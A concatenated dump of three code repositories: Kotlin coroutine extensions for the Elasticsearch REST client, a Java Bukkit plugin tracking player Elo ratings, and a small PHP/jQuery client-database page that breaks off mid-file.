import org.elasticsearch.action.admin.indices.settings.get.GetSettingsResponse
import org.elasticsearch.action.admin.indices.settings.put.UpdateSettingsRequest
import org.elasticsearch.action.admin.indices.shrink.ResizeRequest
import org.elasticsearch.action.admin.indices.shrink.ResizeResponse
import org.elasticsearch.action.admin.indices.template.get.GetIndexTemplatesResponse
import org.elasticsearch.action.admin.indices.template.put.PutIndexTemplateRequest
import org.elasticsearch.action.admin.indices.validate.query.ValidateQueryRequest
import org.elasticsearch.action.admin.indices.validate.query.ValidateQueryResponse
import org.elasticsearch.action.support.master.AcknowledgedResponse
import org.elasticsearch.client.GetAliasesResponse
import org.elasticsearch.client.IndicesClient
import org.elasticsearch.client.RequestOptions
import org.elasticsearch.client.SyncedFlushResponse
import org.elasticsearch.client.indices.*
// See [Indices API on elastic.co](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices.html).
suspend inline fun IndicesClient.analyzeAsync(index: String, field: String, vararg text: String, options: RequestOptions = RequestOptions.DEFAULT, block: AnalyzeRequest.() -> Unit = {}): AnalyzeResponse =
awaitAction { analyzeAsync(index, field, *text, options = options, listener = it, block = block) }
suspend inline fun IndicesClient.clearCacheAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ClearIndicesCacheRequest.() -> Unit = {}): ClearIndicesCacheResponse =
awaitAction { clearCacheAsync(options, it, block) }
// TODO clone
suspend inline fun IndicesClient.closeAsync(options: RequestOptions = RequestOptions.DEFAULT, block: CloseIndexRequest.() -> Unit = {}): CloseIndexResponse =
awaitAction { closeAsync(options, it, block) }
suspend inline fun IndicesClient.createAsync(index: String, options: RequestOptions = RequestOptions.DEFAULT, block: CreateIndexRequest.() -> Unit = {}): CreateIndexResponse =
awaitAction { createAsync(index, options, it, block) }
suspend inline fun IndicesClient.deleteAsync(options: RequestOptions = RequestOptions.DEFAULT, block: DeleteIndexRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { deleteAsync(options, it, block) }
// TODO deleteTemplate
suspend inline fun IndicesClient.existsAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetIndexRequest.() -> Unit = {}): Boolean =
awaitAction { existsAsync(options, it, block) }
suspend inline fun IndicesClient.existsAliasAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetAliasesRequest.() -> Unit = {}): Boolean =
awaitAction { existsAliasAsync(options, it, block) }
// TODO existsTemplate
suspend inline fun IndicesClient.flushAsync(options: RequestOptions = RequestOptions.DEFAULT, block: FlushRequest.() -> Unit = {}): FlushResponse =
awaitAction { flushAsync(options, it, block) }
suspend inline fun IndicesClient.flushSyncedAsync(options: RequestOptions = RequestOptions.DEFAULT, block: SyncedFlushRequest.() -> Unit = {}): SyncedFlushResponse =
awaitAction { flushSyncedAsync(options, it, block) }
suspend inline fun IndicesClient.forcemergeAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ForceMergeRequest.() -> Unit = {}): ForceMergeResponse =
awaitAction { forcemergeAsync(options, it, block) }
// TODO freeze
suspend inline fun IndicesClient.getAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetIndexRequest.() -> Unit = {}): GetIndexResponse =
awaitAction { getAsync(options, it, block) }
suspend inline fun IndicesClient.getAliasAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetAliasesRequest.() -> Unit = {}): GetAliasesResponse =
awaitAction { getAliasAsync(options, it, block) }
suspend inline fun IndicesClient.getFieldMappingAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetFieldMappingsRequest.() -> Unit = {}): GetFieldMappingsResponse =
awaitAction { getFieldMappingAsync(options, it, block) }
// TODO getIndexTemplate
suspend inline fun IndicesClient.getMappingAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetMappingsRequest.() -> Unit = {}): GetMappingsResponse =
awaitAction { getMappingAsync(options, it, block) }
suspend inline fun IndicesClient.getSettingsAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetSettingsRequest.() -> Unit = {}): GetSettingsResponse =
awaitAction { getSettingsAsync(options, it, block) }
suspend inline fun IndicesClient.getTemplateAsync(options: RequestOptions = RequestOptions.DEFAULT, block: org.elasticsearch.client.indices.GetIndexTemplatesRequest.() -> Unit = {}): GetIndexTemplatesResponse =
awaitAction { getTemplateAsync(options, it, block) }
suspend inline fun IndicesClient.openAsync(options: RequestOptions = RequestOptions.DEFAULT, block: OpenIndexRequest.() -> Unit = {}): OpenIndexResponse =
awaitAction { openAsync(options, it, block) }
suspend inline fun IndicesClient.putMappingAsync(options: RequestOptions = RequestOptions.DEFAULT, block: PutMappingRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { putMappingAsync(options, it, block) }
suspend inline fun IndicesClient.putSettingsAsync(options: RequestOptions = RequestOptions.DEFAULT, block: UpdateSettingsRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { putSettingsAsync(options, it, block) }
suspend inline fun IndicesClient.putTemplateAsync(options: RequestOptions = RequestOptions.DEFAULT, block: PutIndexTemplateRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { putTemplateAsync(options, it, block) }
suspend inline fun IndicesClient.refreshAsync(options: RequestOptions = RequestOptions.DEFAULT, block: RefreshRequest.() -> Unit = {}): RefreshResponse =
awaitAction { refreshAsync(options, it, block) }
// TODO reloadAnalyzers
suspend inline fun IndicesClient.rolloverAsync(alias: String, newIndexName: String, options: RequestOptions = RequestOptions.DEFAULT, block: RolloverRequest.() -> Unit = {}): RolloverResponse =
awaitAction { rolloverAsync(alias, newIndexName, options, it, block) }
suspend inline fun IndicesClient.shrinkAsync(targetIndex: String, sourceIndex: String, options: RequestOptions = RequestOptions.DEFAULT, block: ResizeRequest.() -> Unit = {}): ResizeResponse =
awaitAction { shrinkAsync(targetIndex, sourceIndex, options, it, block) }
suspend inline fun IndicesClient.splitAsync(targetIndex: String, sourceIndex: String, options: RequestOptions = RequestOptions.DEFAULT, block: ResizeRequest.() -> Unit = {}): ResizeResponse =
awaitAction { splitAsync(targetIndex, sourceIndex, options, it, block) }
// TODO unfreeze
suspend inline fun IndicesClient.updateAliasesAsync(options: RequestOptions = RequestOptions.DEFAULT, block: IndicesAliasesRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { updateAliasesAsync(options, it, block) }
suspend inline fun IndicesClient.validateQueryAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ValidateQueryRequest.() -> Unit = {}): ValidateQueryResponse =
awaitAction { validateQueryAsync(options, it, block) }
<file_sep>/settings.gradle.kts
rootProject.name = "elasticsearch-kotlin-dsl"
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/common/xcontent/StatusToXContentObjectExtensions.kt
package dev.reimer.elasticsearch.ktx.common.xcontent
import org.elasticsearch.common.xcontent.StatusToXContentObject
import org.elasticsearch.rest.RestStatus
inline val StatusToXContentObject.status: RestStatus get() = status()
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/ByteReferenceExtensions.kt
package dev.reimer.elasticsearch.ktx
import org.apache.lucene.util.BytesRef
import org.elasticsearch.common.bytes.*
import org.elasticsearch.common.lease.Releasable
import java.nio.ByteBuffer
fun ByteArray.toBytesReference(range: ClosedRange<Int> = 0..size): BytesReference =
BytesArray(this, range.start, range.endInclusive)
fun ByteArray.toBytesReference(offset: Int, length: Int): BytesReference = toBytesReference(offset..length)
fun BytesRef.toBytesReference(deepCopy: Boolean = false): BytesReference = BytesArray(this, deepCopy)
fun String.toBytesReference(): BytesReference = BytesArray(this)
fun org.elasticsearch.common.util.ByteArray.toBytesReference(
length: Int
): BytesReference = PagedBytesReference(this, length)
fun org.elasticsearch.common.util.ByteArray.toBytesReference(
length: Int,
releasable: Releasable
): BytesReference = ReleasablePagedBytesReference(this, length, releasable)
fun ByteBuffer.toBytesReference(): BytesReference = BytesReference.fromByteBuffers(arrayOf(this))
fun Array<BytesReference>.toBytesReference(): BytesReference = CompositeBytesReference(*this)
fun Collection<BytesReference>.toBytesReference(): BytesReference = toTypedArray().toBytesReference()
fun Iterable<BytesReference>.toBytesReference(): BytesReference = toList().toBytesReference()
operator fun BytesReference.plus(other: BytesReference) =
CompositeBytesReference(this, other)<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/action/search/builder/SearchSourceBuilderExtensions.kt
package dev.reimer.elasticsearch.ktx.action.search.builder
import org.elasticsearch.common.unit.TimeValue
import org.elasticsearch.index.query.QueryBuilder
import org.elasticsearch.search.SearchExtBuilder
import org.elasticsearch.search.aggregations.AggregatorFactories
import org.elasticsearch.search.builder.SearchSourceBuilder
import org.elasticsearch.search.collapse.CollapseBuilder
import org.elasticsearch.search.fetch.StoredFieldsContext
import org.elasticsearch.search.fetch.subphase.DocValueFieldsContext
import org.elasticsearch.search.fetch.subphase.FetchSourceContext
import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder
import org.elasticsearch.search.internal.SearchContext
import org.elasticsearch.search.rescore.RescorerBuilder
import org.elasticsearch.search.slice.SliceBuilder
import org.elasticsearch.search.sort.SortBuilder
import org.elasticsearch.search.suggest.SuggestBuilder
inline val SearchSourceBuilder.aggregations: AggregatorFactories.Builder?
get() = aggregations()
inline var SearchSourceBuilder.collapse: CollapseBuilder?
get() = collapse()
set(value) {
collapse(value)
}
inline fun SearchSourceBuilder.collapse(field: String, block: CollapseBuilder.() -> Unit): SearchSourceBuilder =
collapse(CollapseBuilder(field).apply(block))
inline fun SearchSourceBuilder.copyWithNewSlice(id: Int, max: Int, block: SliceBuilder.() -> Unit): SearchSourceBuilder =
copyWithNewSlice(SliceBuilder(id, max).apply(block))
inline val SearchSourceBuilder.docValueFields: List<DocValueFieldsContext.FieldAndFormat>?
get() = docValueFields()
inline var SearchSourceBuilder.explain: Boolean?
get() = explain()
set(value) {
explain(value)
}
inline var SearchSourceBuilder.ext: List<SearchExtBuilder>
get() = ext()
set(value) {
ext(value)
}
inline var SearchSourceBuilder.fetchSource: FetchSourceContext
get() = fetchSource()
set(value) {
fetchSource(value)
}
inline var SearchSourceBuilder.from: Int
get() = from()
set(value) {
from(value)
}
inline var SearchSourceBuilder.highlighter: HighlightBuilder
get() = highlighter()
set(value) {
highlighter(value)
}
inline fun SearchSourceBuilder.highlighter(block: HighlightBuilder.() -> Unit): SearchSourceBuilder =
highlighter(HighlightBuilder().apply(block))
inline val SearchSourceBuilder.indexBoosts: List<SearchSourceBuilder.IndexBoost>
get() = indexBoosts()
inline var SearchSourceBuilder.minScore: Float
get() = minScore()
set(value) {
minScore(value)
}
inline var SearchSourceBuilder.postFilter: QueryBuilder
get() = postFilter()
set(value) {
postFilter(value)
}
inline var SearchSourceBuilder.profile: Boolean
get() = profile()
set(value) {
profile(value)
}
inline var SearchSourceBuilder.query: QueryBuilder?
get() = query()
set(value) {
query(value)
}
inline val SearchSourceBuilder.rescores: List<RescorerBuilder<*>>
get() = rescores()
inline val SearchSourceBuilder.scriptFields: List<SearchSourceBuilder.ScriptField>
get() = scriptFields()
inline var SearchSourceBuilder.searchAfter: Array<Any>
get() = searchAfter()
set(value) {
searchAfter(value)
}
inline var SearchSourceBuilder.seqNoAndPrimaryTerm: Boolean?
get() = seqNoAndPrimaryTerm()
set(value) {
seqNoAndPrimaryTerm(value)
}
inline var SearchSourceBuilder.size: Int
get() = size()
set(value) {
size(value)
}
inline var SearchSourceBuilder.slice: SliceBuilder
get() = slice()
set(value) {
slice(value)
}
inline fun SearchSourceBuilder.slice(id: Int, max: Int, block: SliceBuilder.() -> Unit): SearchSourceBuilder =
slice(SliceBuilder(id, max).apply(block))
inline val SearchSourceBuilder.sorts: MutableList<SortBuilder<*>>
get() = sorts()
inline var SearchSourceBuilder.stats: List<String>
get() = stats()
set(value) {
stats(value)
}
inline var SearchSourceBuilder.storedFields: StoredFieldsContext
get() = storedFields()
set(value) {
storedFields(value)
}
inline var SearchSourceBuilder.suggest: SuggestBuilder
get() = suggest()
set(value) {
suggest(value)
}
inline fun SearchSourceBuilder.suggest(block: SuggestBuilder.() -> Unit): SearchSourceBuilder =
suggest(SuggestBuilder().apply(block))
inline var SearchSourceBuilder.terminateAfter: Int
get() = terminateAfter()
set(value) {
terminateAfter(value)
}
inline var SearchSourceBuilder.timeout: TimeValue
get() = timeout()
set(value) {
timeout(value)
}
inline var SearchSourceBuilder.trackScores: Boolean
get() = trackScores()
set(value) {
trackScores(value)
}
inline var SearchSourceBuilder.trackTotalHits: Int
get() = trackTotalHitsUpTo() ?: SearchContext.TRACK_TOTAL_HITS_DISABLED
set(value) {
trackTotalHitsUpTo(value)
}
inline var SearchSourceBuilder.version: Boolean?
get() = version()
set(value) {
version(value)
}
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/util/CoroutineExtensions.kt
package dev.reimer.elasticsearch.ktx.util
import kotlinx.coroutines.coroutineScope
import kotlinx.coroutines.suspendCancellableCoroutine
import org.elasticsearch.action.ActionListener
import org.elasticsearch.client.Response
import org.elasticsearch.client.ResponseListener
import kotlin.coroutines.resume
import kotlin.coroutines.resumeWithException
@JvmName("awaitResponseReceiver")
suspend inline fun ((ResponseListener) -> Unit).await(): Response = coroutineScope {
suspendCancellableCoroutine<Response> { continuation ->
invoke(object : ResponseListener {
override fun onSuccess(response: Response) = continuation.resume(response)
override fun onFailure(exception: Exception) = continuation.resumeWithException(exception)
})
}
}
suspend inline fun awaitResponse(block: (ResponseListener) -> Unit): Response = block.await()
@JvmName("awaitActionReceiver")
suspend inline fun <T> ((ActionListener<T>) -> Unit).await(): T = coroutineScope {
suspendCancellableCoroutine<T> { continuation ->
invoke(object : ActionListener<T> {
override fun onResponse(response: T) = continuation.resume(response)
override fun onFailure(exception: Exception) = continuation.resumeWithException(exception)
})
}
}
suspend inline fun <T> awaitAction(block: (ActionListener<T>) -> Unit): T = block.await()<file_sep>/README.md
[](https://github.com/reimersoftware/elasticsearch-ktx/actions)
[](https://jitpack.io/#dev.reimer/elasticsearch-ktx)
# 🔎 elasticsearch-ktx<sup>[α](#status-α)</sup>
Kotlin extensions for the Elasticsearch [Java High Level REST Client](https://www.elastic.co/guide/en/elasticsearch/client/java-rest/current/java-rest-high.html) (unofficial).
## Gradle Dependency
This library is available on [**jitpack.io**](https://jitpack.io/#dev.reimer/elasticsearch-ktx).
Add this in your `build.gradle.kts` or `build.gradle` file:
<details open><summary>Kotlin</summary>
```kotlin
repositories {
maven("https://jitpack.io")
}
dependencies {
implementation("dev.reimer:elasticsearch-ktx:<version>")
}
```
</details>
<details><summary>Groovy</summary>
```groovy
repositories {
maven { url 'https://jitpack.io' }
}
dependencies {
implementation 'dev.reimer:elasticsearch-ktx:<version>'
}
```
</details>
## ToDo's
- Check API changes from 6.8.2 to 7.5.0.
- Add `IndexLifecycleClient` extensions.
- Add `CcrClient` extensions.
- Add `TransformClient` extensions.
- Add `EnrichClient` extensions.
## Status α
⚠️ _Warning:_ This project is in an experimental alpha stage:
- The API may be changed at any time without further notice.
- Development still happens on `master`.
- Pull Requests are highly appreciated!
|
22efd78ec1ed75cbf559d9960364038dc2e7a45a
|
[
"Markdown",
"Kotlin"
] | 14
|
Kotlin
|
reimersoftware/elasticsearch-ktx
|
1b56c6b4817207a7233305abffa9fcc6c8200b3d
|
ea8f02d285808d76cbf719d894af427b67164ae7
|
refs/heads/master
|
<repo_name>money222/EloPlugin<file_sep>/src/eu/moneypvp/EloUtils.java
package eu.moneypvp;
public interface EloUtils {
FileManager fm = new FileManager();
default Integer getElo(org.bukkit.entity.Player p) {
return fm.getConfig().getInt(p.getName());
}
default void setElo(org.bukkit.entity.Player p, int value) {
if(fm.getConfig().get(p.getPlayer().getName()) == null)
{
fm.getConfig().set(p.getName(), value);
fm.saveConfig();
return;
}
if(fm.getConfig().getInt(p.getName()) <= 0) {
fm.getConfig().set(p.getName(), 0);
fm.saveConfig();
return;
}
fm.getConfig().set(p.getName(), value);
fm.saveConfig();
}
default void resetElo(org.bukkit.entity.Player p) {
fm.getConfig().set(p.getName(), 1000);
fm.saveConfig();
}
default void addElo(org.bukkit.entity.Player p , int value) {
fm.getConfig().set(p.getName(), fm.getConfig().getInt(p.getName()) + value);
fm.saveConfig();
}
default void removeElo(org.bukkit.entity.Player p , int value) {
if(fm.getConfig().getInt(p.getName()) <= 0) {
fm.getConfig().set(p.getName(), 0);
fm.saveConfig();
return;
}
fm.getConfig().set(p.getName(), fm.getConfig().getInt(p.getName()) - value);
fm.saveConfig();
}
default String getPrefix() {
return Messages.PREFIX.toString();
}
default String getPlayerNameMessage() {
return Messages.PlayerName.toString();
}
default String getCheckEloMessages() {
return Messages.CheckElo.toString();
}
default String getPlayerExistsMessage() {
return Messages.PlayerExists.toString();
}
default String getReloadMessage() {
return Messages.reload.toString();
}
default String getisPlayerMessage() {
return Messages.isPlayer.toString();
}
default String getValueMessage() {
return Messages.insertvalue.toString();
}
default String getEloMessage() {
return Messages.elomessage.toString();
}
default String getNumberMessages() {
return Messages.isNumber.toString();
}
default String getKillerMessage() {
return Messages.killermessage.toString();
}
default String getVictimMessage() {
return Messages.victimmessage.toString();
}
default String getVictimnoeloMessages() {
return Messages.victimnoelo.toString();
}
default String getRemoveEloMessages() {
return Messages.removeelo.toString();
}
default String getResetEloMessages() {
return Messages.resetelo.toString();
}
default String setEloMessages() {
return Messages.setelo.toString();
}
default String getPlayerPermMessages() {
return Messages.PlayerPerm.toString();
}
default String addEloMessages() {
return Messages.addelo.toString();
}
default String getLine2Messages() {
return Messages.line2.toString();
}
default String getLine1Messages() {
return Messages.line1.toString();
}
}
<file_sep>/src/eu/moneypvp/Commands.java
package eu.moneypvp;
import java.util.Comparator;
import java.util.Map;
import org.apache.commons.lang.math.NumberUtils;
import org.apache.commons.lang3.StringUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class Commands implements CommandExecutor, EloUtils{
@Override
public boolean onCommand(CommandSender s, Command c, String arg2, String[] args) {
if(!(s instanceof Player)) {
System.err.println(ChatColor.translateAlternateColorCodes('&', getPrefix() + getisPlayerMessage()));
return true;
}
Player p = (Player) s;
if(c.getName().equalsIgnoreCase("elo")) {
if(args.length == 0) {
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + getEloMessage())
,"%elovalue%"
,Integer.toString(getElo(p))));
return true;
}
if(args.length >= 1) {
Player target = Bukkit.getPlayer(args[0]);
if(target == null) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else
if(!target.isOnline()) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else {
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + getCheckEloMessages())
,"%playername%"
,target.getName()).replace("%elo%", Integer.toString(fm.getConfig().getInt(target.getName()))));
return true;
}
}
}
if(c.getName().equalsIgnoreCase("topelo")) {
Main.unSortedMap.clear();
Main.reverseSortedMap.clear();
fm.reloadConfig();
for (String pe : fm.getConfig().getKeys(true))
{
String getP = pe;
int getInt = fm.getConfig().getInt(getP);
Main.unSortedMap.put(getP, getInt);
}
Main.unSortedMap
.entrySet()
.stream()
.sorted(Map.Entry.comparingByValue(Comparator.reverseOrder()))
.limit(Main.instance.getConfig().getInt("EloView"))
.forEachOrdered(x -> Main.reverseSortedMap.put(x.getKey(), x.getValue()));
p.sendMessage(ChatColor.translateAlternateColorCodes('&',fm.getConfigMessages().getString("line1")));
p.sendMessage(StringUtils.replace(Main.reverseSortedMap.toString(), "{", " §7").replace("}", "").replace(",", "\n§7").replace("=", " §8»§c "));
p.sendMessage(ChatColor.translateAlternateColorCodes('&',fm.getConfigMessages().getString("line2")));
return true;
}
if(c.getName().equalsIgnoreCase("eloadmin")) {
if(p.isOp()) {
if(args.length == 0) {
p.sendMessage("§7Use §e/eloadmin setelo (player) (value)");
p.sendMessage("§7Use §e/eloadmin resetelo (player)");
p.sendMessage("§7Use §e/eloadmin addelo (player) (value)");
p.sendMessage("§7Use §e/eloadmin removeelo (player) (value)");
p.sendMessage("§7Use §e/eloadmin reload");
return true;
}
if(args[0].equalsIgnoreCase("reload")) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getReloadMessage()));
Main.instance.reloadConfig();
fm.reloadConfig();
return true;
}
if(args[0].equalsIgnoreCase("addelo")) {
if(args.length == 1) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix()+ getPlayerNameMessage()));
return true;
}
Player target = Bukkit.getPlayer(args[1]);
if(target == null) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else
if(!target.isOnline()) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else {
if(args.length == 2) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
if(NumberUtils.isNumber(args[2])) {
addElo(target, Integer.valueOf(args[2]));
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + addEloMessages())
,"%playername%"
,target.getName())
.replace("%elovalue%",args[2]));
return true;
}else {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
}
}
if(args[0].equalsIgnoreCase("removeelo")) {
if(args.length == 1) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix()+ getPlayerNameMessage()));
return true;
}
Player target = Bukkit.getPlayer(args[1]);
if(target == null) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else
if(!target.isOnline()) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else {
if(args.length == 2) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
if(NumberUtils.isNumber(args[2])) {
removeElo(target, Integer.valueOf(args[2]));
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + getRemoveEloMessages())
,"%playername%"
,target.getName())
.replace("%elovalue%",args[2]));
return true;
}else {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
}
}
if(args[0].equalsIgnoreCase("setelo")) {
if(args.length == 1) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix()+ getPlayerNameMessage()));
return true;
}
Player target = Bukkit.getPlayer(args[1]);
if(target == null) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else
if(!target.isOnline()) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else {
if(args.length == 2) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
if(NumberUtils.isNumber(args[2])) {
setElo(target, Integer.valueOf(args[2]));
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + setEloMessages())
,"%playername%"
,target.getName())
.replace("%elovalue%",args[2]));
return true;
}else {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getNumberMessages()));
return true;
}
}
}
if(args[0].equalsIgnoreCase("resetelo")) {
if(args.length == 1) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerNameMessage()));
return true;
}
Player target = Bukkit.getPlayer(args[1]);
if(target == null) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else
if(!target.isOnline()) {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerExistsMessage()));
return true;
}else {
resetElo(target);
p.sendMessage(StringUtils.replace(ChatColor.translateAlternateColorCodes('&', getPrefix() + getResetEloMessages())
,"%playername%"
,target.getName()));
return true;
}
}
}else {
p.sendMessage(ChatColor.translateAlternateColorCodes('&', getPrefix() + getPlayerPermMessages()));
return true;
}
}
return false;
}
}
<file_sep>/src/eu/moneypvp/FileManager.java
package eu.moneypvp;
import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.configuration.file.YamlConfiguration;
public class FileManager {
private java.io.File File;
private FileConfiguration Config;
private java.io.File messagesfile;
private FileConfiguration messagesConfig;
protected FileManager() {
messagesfile = new java.io.File("plugins/EloPlugin/messages.yml");
messagesConfig = (YamlConfiguration.loadConfiguration(messagesfile));
File = new java.io.File("plugins/EloPlugin/player-data.yml");
Config = YamlConfiguration.loadConfiguration(File);
}
protected void loadConfigs() {
if(!File.exists() || !messagesfile.exists()) {
Main.instance.saveResource("messages.yml", true);
Main.instance.saveResource("player-data.yml", true);
Main.instance.saveResource("config.yml", true);
Config.options().copyDefaults(true);
getMessagesConfig().options().copyDefaults(true);
Main.instance.getConfig().options().copyDefaults(true);
}
}
protected void reloadConfig() {
Config = YamlConfiguration.loadConfiguration(File);
messagesConfig = (YamlConfiguration.loadConfiguration(messagesfile));
}
protected FileConfiguration getConfig() {
return Config;
}
protected FileConfiguration getConfigMessages() {
return getMessagesConfig();
}
protected void saveMessages(){
try{
getMessagesConfig().save(messagesfile);
}catch(Exception e){
e.printStackTrace();
}
}
protected void saveConfig(){
try{
Config.save(File);
}catch(Exception e){
e.printStackTrace();
}
}
public FileConfiguration getMessagesConfig() {
return messagesConfig;
}
}
<file_sep>/src/eu/moneypvp/Main.java
package eu.moneypvp;
import java.util.HashMap;
import java.util.LinkedHashMap;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
public class Main extends JavaPlugin implements EloUtils {
public static Main instance;
public static HashMap<String, Integer> unSortedMap = new HashMap<>();
public static LinkedHashMap<String, Integer> reverseSortedMap = new LinkedHashMap<>();
@Override
public void onEnable() {
System.out.println("----------------------");
System.out.println("EloPlugin enabled!");
System.out.println("----------------------");
instance = this;
getConfig().options().copyDefaults(true);
fm.loadConfigs();
Bukkit.getPluginManager().registerEvents(new Events(), this);
getCommand("elo").setExecutor(new Commands());
getCommand("topelo").setExecutor(new Commands());
getCommand("eloadmin").setExecutor(new Commands());
}
@Override
public void onDisable() {
System.out.println("----------------------");
System.out.println("EloPlugin disabled!");
System.out.println("----------------------");
instance = null;
}
}
|
1f1be4b6ad5916cc77f7bc864bdc852428183e1e
|
[
"Java"
] | 4
|
Java
|
money222/EloPlugin
|
4245fd3f2fba8eeaf9ebb8930db6daaa9aa8c9f3
|
ce4e8463c5df1cff342f3fdb4cb5433f309568fb
|
refs/heads/main
|
<repo_name>Mockyy/ServiceREST<file_sep>/index.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>JSON</title>
<link href="style1.css" rel="stylesheet">
<!--<link href="icon.jpg" rel="icon">-->
<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
<script scr="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<script>
/////--JQUERY--/////
$(document).ready(function()
{
$.get("traitementBDD.php", function(data, status)
{
var clients = JSON.parse(data);
for (var i = 0; i < clients.length; i++)
{
var client = "Numcli : " + clients[i].NCLI + " Nom : " + clients[i].NOM;
client = "<li class=\"elem\">" + client + "</li>"
$("#ListeClients").append(client);
}
})
});
var listeElem = document.getElementsByClassName("elem");
for (var i = 0; i < listeElem; i++)
{
listeElem[i].addEventListener('click', confirmDelete);
}
function confirmDelete()
{
alert();
}
function ajouterClient()
{
//var snum = document.getElementById("ncli") Javascipt
var snum = $("#ncli").val(); //JQuery
var snom = $("#nom").val();
var sadresse = $("#adresse").val();
var sloc = $("#loc").val();
var scat = $("#cat").val();
var scompte = $("#compte").val();
var sClient = {
NCLI : snum,
NOM : snom,
ADRESSE : sadresse,
LOCALITE : sloc,
CATEGORIE : scat,
COMPTE : scompte
};
////--JQUERY--////
$.post("traitementBDD.php", sClient, function(data){
console.log(data);
});
}
</script>
<h1>Ajouter client</h1>
<li>
<label for="ncli">NCLI :</label>
<input type="text" id="ncli" name="ncli">
</li>
<li>
<label for="nom">Nom :</label>
<input type="text" id="nom" name="nom">
</li>
<li>
<label for="adresse">Adresse :</label>
<input type="text" id="adresse" name="adresse">
</li>
<li>
<lavel for="localite">Localite :</label>
<input type="text" id="loc" name="localite">
</li>
<li>
<label for="categorie">Categorie :</label>
<input type="text" id="cat" name="categorie">
</li>
<li>
<label for="compte">Compte :</label>
<input type="text" id="compte" name="compte">
</li>
<button onclick="ajouterClient()">Ajouter client</button>
<ol id="ListeClients">
</ol>
<?php
?>
</html>
<file_sep>/traitementBDD.php
<?php
// header("Content-Type: application/json; charset=UTF-8");
// $obj = json_decode($_GET["x"], false);
//Connexion base de donnée
$connexion = new mysqli('localhost', 'root', '', 'clicom_simplifie');
//Check connection
if ($connexion->connect_error)
{
die ("Connection failed " . $connexion->connect_error);
}
$methode = $_SERVER['REQUEST_METHOD'];
if ($methode == 'GET')
{
$sql = "SELECT * FROM client";
$resultat = mysqli_query($connexion, $sql);
$rows = array();
if (mysqli_num_rows($resultat) > 0)
{
while ($r = mysqli_fetch_assoc($resultat))
{
array_push($rows, $r);
}
$res = safe_json_encode($rows);
print_r($res);
}
else
{
echo "Pas de données";
}
}
else if ($methode == 'POST')
{
$ncli = $_POST['NCLI'];
$nom = $_POST['NOM'];
$adresse = $_POST['ADRESSE'];
$localite = $_POST['LOCALITE'];
$categorie = $_POST['CATEGORIE'];
$compte = $_POST['COMPTE'];
$sql = $connexion->prepare("INSERT INTO client VALUES (?, ?, ?, ?, ?, ?)");
if ($sql->bind_param('ssssss', $ncli, $nom, $adresse, $localite, $categorie, $compte))
{
